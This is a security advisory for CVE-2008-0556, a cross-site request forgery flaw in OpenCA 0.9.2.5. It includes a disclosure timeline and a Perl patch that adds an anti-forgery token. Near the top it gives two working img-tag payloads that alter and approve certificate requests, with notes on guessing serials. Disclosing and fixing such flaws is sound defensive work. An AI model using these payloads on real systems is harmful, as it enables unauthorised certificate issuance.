|
|
|
|
| |
Credit:
The information has been provided by Alexander Klink.
The original article can be found at: https://www.cynops.de/advisories/CVE-2008-0556.txt
|
| |
Vulnerable Systems:
* OpenCA version 0.9.2.5
As the user is authenticated using a session cookie and the forms that are used to execute certain activities on the CA are not protected by some kind of token, one can easily put activities for example into an tag on another website. If a user has an active session on the CA, these activities are executed.
Examples:
<img src="https://hostname/cgi-bin/ra/RAServer?cmd=changeCSR& dataType=NEW_REQUEST&key=57888&SUBJECT_ATTRIBUTE_0_0=CN& SUBJECT_VALUE_0_0=&SUBJECT_ATTRIBUTE_2_0=O& SUBJECT_VALUE_2_0=XSRF+Org&SUBJECT_ATTRIBUTE_1_0=CN& SUBJECT_VALUE_1_0=XSRF+CN&SUBJECT_ATTRIBUTE_3_0=DC& SUBJECT_VALUE_3_0=example&SUBJECT_ATTRIBUTE_4_0=DC& SUBJECT_VALUE_4_0=com&SUBJECT_ALT_NAME_ATTRIBUTE_0=DNS& SUBJECT_ALT_NAME_VALUE_0=xsrfsan"/>
<img src="https://hostname/cgi-bin/ra/RAServer?head=&cmd=approveCSRnotSigned& signature=&dataType=PENDING_REQUEST&text=-----BEGIN HEADER-----%0ASERIAL%20=%2058912%0A-----END HEADER-----%0A-----BEGIN%20CERTIFICATE REQUEST----- %0AMIIBqjCCARMCAQAwajELMAkGA1UEBhMCQVUxEzARBgNVBAgTClNvbWUtU3RhdGUx %0AITAfBgNVBAoTGEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDEjMCEGA1UEAxMabXlo %0Ab3N0bmFtZS5leGFtcGxlLmNvbTo0NDMwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJ %0AAoGBAJSFtl67sEEZ88wyj0uxgVKlaMl%2FifSNLZPblqlCu%2BhgF3DHhFe80z5DxUk8 %0AEbChgri9cVMfhK7IkInxEr6Cuz3Jv651IKX2XL4GsL1ZxZzQ8u3ywClSBVk5jBk7 %0Ax7qHw%2FkyU8DNDqIJXY2ZkWAeGty7vMGyPTWRanFO8oIGO%2F7bAgMBAAGgADANBgkq %0AhkiG9w0BAQUFAAOBgQCQhWQrs54Jb8GIn8q3l2OHkmXXM5HV8aDwffwipcGPZHe9 %0ANtc3be0xSQDt1q4rEikMKDVR1WTm5FubXs7ZQpDPbVU5t%2BM%2B%2BUuRbUmdP7PYlttR %0AnMg%2BEzZKP4S%2BOp4iZRA8cyqJQaJ63aQ2KzGp%2FBx7nPTjdH%2FnX3vN4tHhC1tKcw%3D%3D %0A-----END%20CERTIFICATE%20REQUEST-----%0A&key=58912"/>
Some guessing of valid serials is needed in these cases, but this can be ignored if the user has access to the public frontend, as he can then create a certificate request himself that can be changed and approved using XSRF. Serials are (more or less) consecutive, so guessing is relatively easy.
CVE Information:
CVE-2008-0556
Vendor response:
* 12.12.2007: Reported bug to the openca-core mailing list (the private mailing list of core developers) via Martin Bartosch
* 17.12.2007: Martin Bartosch forwards the mail directly to the project maintainer, Massimiliano Pala
* 02.01.2008: Asked for a contact to a release coordinator on the openca-devel mailing list
* 01.02.2008: Sent patch to openca-core and Massimiliano Pala with the announcement to release advisory and patch if no reply is received until February 10th
Solution:
Apply the following patch. It introduces an XSRF protection token parameter that is added to all internal links and forms which consists of a SHA1 hash of the session ID that is stored in the cookie. The server side compares if the parameter is set correctly if needed and complains if it is not. As no help from the current OpenCA developers was available to us, this patch is not very well tested. It works for us - use at your own risk. Note that it introduces a dependency to Digest::SHA1, but this should be included with the base modules in modern Perl distributions.
diff -ru OpenCA-0.9.2.5.orig/src/modules/openca-ac/AC.pm OpenCA-0.9.2.5/src/modules/openca-ac/AC.pm
--- OpenCA-0.9.2.5.orig/src/modules/openca-ac/AC.pm 2008-01-14 15:05:16.000000000 +0100
+++ OpenCA-0.9.2.5/src/modules/openca-ac/AC.pm 2008-01-15 10:23:11.000000000 +0100
@@ -34,7 +34,7 @@
use OpenCA::Log::Message;
use FileHandle;
-
+use Digest::SHA1 qw( sha1_hex );
my $is_ldaps;
@@ -781,6 +781,7 @@
## return undef;
## }
+ my @not_vulnerable_cmds = qw( genMenu serverInfo getStaticPage );
if (not $self->getSession ()) {
if (not $self->login ()) {
return undef;
@@ -795,6 +796,11 @@
$self->{journal}->{login}->{role} = $self->{ident}->{role};
$self->{journal}->{session_id} = $self->{session}->getID();
$self->{journal}->{session_type} = "cookie";
+ if (defined $self->{cgi}->param('cmd') &&
+ (! grep { $_ eq $self->{cgi}->param('cmd'} } @not_vulnerable_cmds)) {
+ # only the above commands should be called after a login
+ return undef;
+ }
return $h;
}
} else {
@@ -804,6 +810,25 @@
$self->stopSession;
return $self->checkIdent;
}
+
+ # XSRF checks
+ my $potentially_vulnerable;
+ if (defined $self->{cgi}->param('cmd')) {
+ $potentially_vulnerable = 1;
+ }
+ if (grep {$_ eq $self->{cgi}->param('cmd')} @not_vulnerable_cmds) {
+ $potentially_vulnerable = 0;
+ }
+
+ if ($potentially_vulnerable &&
+ ($self->{cgi}->param('xsrf_protection_token')
+ ne sha1_hex($self->{session}->getID()))) {
+ # potential XSRF attack
+ $self->debug('Potential XSRF attack');
+ $self->debug('XSRF token: ' . $self->{cgi}->param('xsrf_protection_token'));
+ $self->debug('SHA1 hash of session ID: ' . sha1_hex($self->{session}->getID()));
+ return undef;
+ }
return $self->{session}->update();
}
diff -ru OpenCA-0.9.2.5.orig/src/modules/openca-ui-html/HTML.pm OpenCA-0.9.2.5/src/modules/openca-ui-html/HTML.pm
--- OpenCA-0.9.2.5.orig/src/modules/openca-ui-html/HTML.pm 2008-01-14 15:05:16.000000000 +0100
+++ OpenCA-0.9.2.5/src/modules/openca-ui-html/HTML.pm 2008-01-15 09:07:17.000000000 +0100
@@ -26,6 +26,7 @@
use CGI;
use Locale::Messages (':locale_h');
use Locale::Messages (':libintl_h');
+use Digest::SHA1 qw( sha1_hex );
use FileHandle;
our ($STDERR, $STDOUT);
@@ -482,6 +483,8 @@
}
$page .=
' </table>'."\n";
+ my $xsrf_protection_token = sha1_hex($self->{CGI}->param('CGISESSID'));
+ $keys->{HIDDEN_LIST}->{xsrf_protection_token} = $xsrf_protection_token;
if (exists $keys->{HIDDEN_LIST})
{
my $list = $keys->{HIDDEN_LIST};
@@ -502,11 +505,22 @@
' </form>'."\n".
' </body>'."\n".
'</html>'."\n";
+ $page = $self->addXSRFProtectionTokenToLinks($page);
$self->sendContentType();
print $STDOUT $page;
return 1;
}
+sub addXSRFProtectionTokenToLinks {
+ my $self = shift;
+ my $page = shift;
+ my $session_id = $self->{CGI}->param('CGISESSID');
+ my $xsrf_protection_token = sha1_hex($session_id);
+
+ $page =~ s/(href="[a-zA-Z\/\-]*\?cmd=[^"]+)/$1;xsrf_protection_token=$xsrf_protection_token/g;
+ return $page;
+}
+
sub libSendMenu {
my $self = shift;
@@ -542,6 +556,7 @@
' </body>'."\n".
'</html>';
+ $page = $self->addXSRFProtectionTokenToLinks($page);
print $STDOUT $page;
return 1;
}
@@ -630,6 +645,7 @@
' </form>'."\n".
' </body>'."\n".
'</html>'."\n";
+ $page = $self->addXSRFProtectionTokenToLinks($page);
print $STDOUT $page;
return 1;
|
|
|
|
|